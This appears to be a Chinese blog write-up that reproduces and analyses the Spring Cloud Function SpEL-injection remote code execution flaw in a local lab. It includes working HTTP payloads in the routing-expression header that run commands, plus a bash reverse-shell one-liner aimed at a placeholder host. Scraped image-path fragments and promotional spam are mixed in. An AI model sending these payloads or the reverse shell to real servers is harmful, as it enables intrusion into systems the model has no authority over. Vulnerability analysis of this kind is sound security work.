簡介
Spring Cloud功能特點
現(xiàn)分析.assets/image-20220403143623101.png)
影響版本
3.0.0.M3 <= Spring Cloud Function <=3.2.2
漏洞復(fù)現(xiàn)
環(huán)境搭建
選擇版本為V3.1.6
根據(jù)Tags的更新時間選擇,還是選擇3.1.6比較穩(wěn)妥,使用IDEA導(dǎo)入項目
現(xiàn)分析.assets/image-20220401212613169.png)
jar包的下載確實很慢,真是麻了。實際上不用下載那么多jar包,確實用不到,導(dǎo)入項目于spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojo修改配置文件spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojosrcmainresourcesappliaction.properties添加
spring.cloud.function.definition:functionRouter
現(xiàn)分析.assets/image-20220402110243791.png)
配置maven啟動項目
現(xiàn)分析.assets/image-20220402110326017.png)
現(xiàn)分析.assets/image-20220402110354865.png)
http://127.0.0.1:8080
現(xiàn)分析.assets/image-20220402110436556.png)
【——全網(wǎng)最全的網(wǎng)絡(luò)安全學(xué)習(xí)資料包分享給愛學(xué)習(xí)的你,關(guān)注我,私信回復(fù)“資料領(lǐng)取”獲取——】1.網(wǎng)絡(luò)安全多個方向?qū)W習(xí)路線2.全網(wǎng)最全的CTF入門學(xué)習(xí)資料3.一線大佬實戰(zhàn)經(jīng)驗分享筆記4.網(wǎng)安大廠面試題合集5.紅藍對抗實戰(zhàn)技術(shù)秘籍6.網(wǎng)絡(luò)安全基礎(chǔ)入門、Linux、web安全、滲透測試方面視頻
利用
構(gòu)造payload
POST /Ggoodstudy HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 4gdsf
現(xiàn)分析.assets/image-20220403144205124.png)
這不就吐了么,修改配置文件才能RCE????
現(xiàn)分析.assets/image-20220403205706193.png)
但是修改路由,當路由指定為functionRouter的時候,不修改配置文件已經(jīng)可以執(zhí)行惡意payload
POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 14dfdfijkghjkg
現(xiàn)分析.assets/image-20220402105622478.png)
POST請求且必須傳參。
反彈shell
bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1
進行base64編碼,由于這里我使用的是windows環(huán)境,所以無法使用反彈shell,具體需要對反彈shell命令進行編碼的原因在分析CVE-2018-1270的時候已經(jīng)分析過了。
現(xiàn)分析.assets/image-20220403205921339.png)
漏洞分析
首先我們需要了解到spring框架中比較常見的幾個jar包
- spring-beans所有應(yīng)用都要用到的,它包含訪問配置文件、創(chuàng)建和管理bean 以及進行Inversion of Control / Dependency Injection(IoC/DI)操作相關(guān)的所有類。
- spring-Expression進行SpEL表達式解析
- spring-coreSpring 框架基本的核心工具類。Spring 其它組件要都要使用到這個包里的類,是其它組件的基本核心
- spring-jdbc存放對jdbc數(shù)據(jù)庫數(shù)據(jù)訪問所有相關(guān)的類
- spring-messaging
api以及協(xié)議接口
- spring-context為Spring核心提供了大量擴展。可以找到使用Spring ApplicationContext特性時所需的全部類等
- spring-web包含Web 應(yīng)用開發(fā)時,用到Spring 框架時所需的核心類,包括自動載入Web Application Context 特性的類、Struts 與JSF 集成類、文件上傳的支持類、Filter 類和大量工具輔助類。
- pring-webmvc包含Spring MVC 框架相關(guān)的所有類。包括框架的Servlets,Web MVC框架,控制器和視圖支持。
向上查找利用鏈
SpEL表達式的內(nèi)容是在spring-expression中處理的,在RoutingFunction類中調(diào)用
現(xiàn)分析.assets/image-20220403135602783.png)
這里會取出spring.cloud.function.routing-expression:屬性的spel表達式
現(xiàn)分析.assets/image-20220402125700409.png)
這個方法屬于布爾型的判斷,這里的屬性構(gòu)造在請求頭內(nèi),調(diào)用了apply方法
現(xiàn)分析.assets/image-20220402131335916.png)
繼續(xù)向上分析
現(xiàn)分析.assets/image-20220403232506444.png)
到達SimpleFunctionRegistry.java類的698行,這個apply的方法的觸發(fā)時
現(xiàn)分析.assets/image-20220403232638460.png)
是在646行定義的,且調(diào)用方法doapply,而doapply也在apply方法中調(diào)用了,在往上查找就到了FunctionWebRequestProcessingHelper類的processRequest方法
現(xiàn)分析.assets/image-20220403232852540.png)
繼續(xù)向上查找,到了控制層了,到此為止我們的向上查找已經(jīng)結(jié)束,利用鏈很強清晰,那么對不對呢,我們使用向下查找利用鏈來做驗證,請看下文
找到一個非常nice的入門課程,復(fù)制鏈接即可報名:
https://img.wlmqw.com/uploads/2022/07/yxtjrq2dz5v.)
調(diào)用FunctionWebRequestProcessingHelper類中的http請求參數(shù)方法processRequest
現(xiàn)分析.assets/image-20220403224410232.png)
可以看到processRequest方法會獲取到我們構(gòu)造payload的方法,在方法為RoutingFunction的情況下會直接調(diào)用RoutingFunction類中的applay方法
現(xiàn)分析.assets/image-20220403230139777.png)
此時我們可以看到這里調(diào)用了Route方法
現(xiàn)分析.assets/image-20220403230252876.png)
而在該方法中會讀取構(gòu)造的請求頭spring.cloud.function.routing-expression屬性的值,調(diào)用了方法functionFormExpression,但是在該方法中的parseExpression方法會對SpEL表達式進行解析
現(xiàn)分析.assets/image-20220403231034277.png)
現(xiàn)分析.assets/image-20220403231137695.png)
那么我們在調(diào)試的過程中
現(xiàn)分析.assets/image-20220403231320620-16489988015211.png)
getValue方法執(zhí)行的又是什么呢?
這里自然是執(zhí)行的傳入的paylaod的內(nèi)容以及執(zhí)行解析后的表達式
到這里我們能夠發(fā)現(xiàn)兩條鏈剛好是對稱的,說明分析沒有問題。
總結(jié)
分析了spring-cloud-function可以發(fā)現(xiàn),spring框架的幾個由SpEL表達式注入造成的RCE的觸發(fā)點基本上都很相似,觸發(fā)類以及觸發(fā)路由分析對于漏洞挖掘來說都有可以借鑒的地方。